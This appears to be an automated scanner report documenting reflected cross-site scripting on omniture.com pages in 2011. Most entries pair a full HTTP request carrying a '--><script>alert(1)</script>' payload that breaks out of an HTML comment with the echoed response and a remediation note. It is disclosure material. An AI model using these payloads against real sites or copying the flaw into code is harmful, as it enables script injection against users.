Request
GET /en/education/courses7b850--><script>alert(1)</script>80678e5f3b8/sbu HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:09:05 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:09:05 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:09:05 GMT Content-Length: 23129 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:09:05 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services ... Lea ...[SNIP]... <!-- en/education/courses7b850--><script>alert(1)</script>80678e5f3b8/sbu cached on 2 February 2011 at 11:09:05 PST (8c293fb72b2a442d5595555a4b596e6f) --> ...[SNIP]...
The value of REST URL parameter 4 is copied into an HTML comment. The payload 2ee48--><script>alert(1)</script>77c6d5a7b53 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/education/courses/sbu2ee48--><script>alert(1)</script>77c6d5a7b53 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:09:44 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:09:44 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:09:44 GMT Content-Length: 23129 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:09:44 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services ... Lea ...[SNIP]... <!-- en/education/courses/sbu2ee48--><script>alert(1)</script>77c6d5a7b53 cached on 2 February 2011 at 11:09:44 PST (93b1b543e9c69c5118c3b336fa69916e) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload 2fe6d--><script>alert(1)</script>0173219665 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/education/courses2fe6d--><script>alert(1)</script>0173219665/searchcenter HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:10:05 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:10:05 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:10:05 GMT Content-Length: 23145 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:10:05 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services ... Lea ...[SNIP]... <!-- en/education/courses2fe6d--><script>alert(1)</script>0173219665/searchcenter cached on 2 February 2011 at 11:10:05 PST (41fc363e5400237ea6c88f55194ab026) --> ...[SNIP]...
The value of REST URL parameter 4 is copied into an HTML comment. The payload b1853--><script>alert(1)</script>ce0f03048e3 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/education/courses/searchcenterb1853--><script>alert(1)</script>ce0f03048e3 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:10:34 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:10:34 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:10:34 GMT Content-Length: 23147 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:10:34 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services ... Lea ...[SNIP]... <!-- en/education/courses/searchcenterb1853--><script>alert(1)</script>ce0f03048e3 cached on 2 February 2011 at 11:10:34 PST (a3e5473b636ee72bdf31524d77333390) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload 2a51d--><script>alert(1)</script>78cd85c4adf was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/education/courses2a51d--><script>alert(1)</script>78cd85c4adf/sitesearch HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:10:51 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:10:51 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:10:52 GMT Content-Length: 23143 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:10:51 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services ... Lea ...[SNIP]... <!-- en/education/courses2a51d--><script>alert(1)</script>78cd85c4adf/sitesearch cached on 2 February 2011 at 11:10:51 PST (474665a4683c4f4badd6993b8b757e42) --> ...[SNIP]...
The value of REST URL parameter 4 is copied into an HTML comment. The payload b29d5--><script>alert(1)</script>88d60800004 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/education/courses/sitesearchb29d5--><script>alert(1)</script>88d60800004 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:11:18 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:11:18 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:11:18 GMT Content-Length: 23143 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:11:18 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services ... Lea ...[SNIP]... <!-- en/education/courses/sitesearchb29d5--><script>alert(1)</script>88d60800004 cached on 2 February 2011 at 11:11:18 PST (13340140f6493e3a9b5ae0c887a6cfed) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload 94d2d--><script>alert(1)</script>c1f50fee5cf was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/education/courses94d2d--><script>alert(1)</script>c1f50fee5cf/survey HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:11:17 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:11:17 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:11:17 GMT Content-Length: 23135 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:11:17 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services ... Lea ...[SNIP]... <!-- en/education/courses94d2d--><script>alert(1)</script>c1f50fee5cf/survey cached on 2 February 2011 at 11:11:17 PST (2fbecc7a1f5d932bd46172df5699aa31) --> ...[SNIP]...
The value of REST URL parameter 4 is copied into an HTML comment. The payload 59f1a--><script>alert(1)</script>4593caff41b was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/education/courses/survey59f1a--><script>alert(1)</script>4593caff41b HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:11:32 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:11:32 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:11:32 GMT Content-Length: 23135 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:11:32 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services ... Lea ...[SNIP]... <!-- en/education/courses/survey59f1a--><script>alert(1)</script>4593caff41b cached on 2 February 2011 at 11:11:32 PST (2efe5d82184b9e2cc864814abe957fa1) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload 5e525--><script>alert(1)</script>089ba6b7003 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/education/courses5e525--><script>alert(1)</script>089ba6b7003/testandtarget HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:09:54 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:09:54 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:09:55 GMT Content-Length: 23149 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:09:54 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services ... Lea ...[SNIP]... <!-- en/education/courses5e525--><script>alert(1)</script>089ba6b7003/testandtarget cached on 2 February 2011 at 11:09:54 PST (12fc4bbc485b8c8782652ea53f17fbfb) --> ...[SNIP]...
The value of REST URL parameter 4 is copied into an HTML comment. The payload 30b8c--><script>alert(1)</script>312aa946626 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/education/courses/testandtarget30b8c--><script>alert(1)</script>312aa946626 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:10:24 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:10:24 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:10:24 GMT Content-Length: 23149 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:10:24 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services ... Lea ...[SNIP]... <!-- en/education/courses/testandtarget30b8c--><script>alert(1)</script>312aa946626 cached on 2 February 2011 at 11:10:24 PST (66bb7634dc5431f8681317fccb17dfc0) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload 72f71--><script>alert(1)</script>642bf68d095 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/partners/apply72f71--><script>alert(1)</script>642bf68d095 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:47:22 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 05:47:22 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:47:22 GMT Content-Length: 21437 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:47:22 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Partner Program Overvi ...[SNIP]... <!-- en/partners/apply72f71--><script>alert(1)</script>642bf68d095 cached on 2 February 2011 at 21:47:22 PST (b96c13c65398ee3662f30ed031587b74) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload 73101--><script>alert(1)</script>99b1e32fb65 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/partners/portal73101--><script>alert(1)</script>99b1e32fb65 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:45:39 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 05:45:39 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:45:39 GMT Content-Length: 21439 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:45:39 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Partner Program Overvi ...[SNIP]... <!-- en/partners/portal73101--><script>alert(1)</script>99b1e32fb65 cached on 2 February 2011 at 21:45:39 PST (7620342ded552d00188eac1cb3ce21fd) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload d726f--><script>alert(1)</script>9fa127a1f63 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/partners/showcased726f--><script>alert(1)</script>9fa127a1f63 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:45:33 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 05:45:33 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:45:33 GMT Content-Length: 21443 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:45:33 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Partner Program Overvi ...[SNIP]... <!-- en/partners/showcased726f--><script>alert(1)</script>9fa127a1f63 cached on 2 February 2011 at 21:45:33 PST (21d181ec062bd1080cf09aa79af9756b) --> ...[SNIP]...
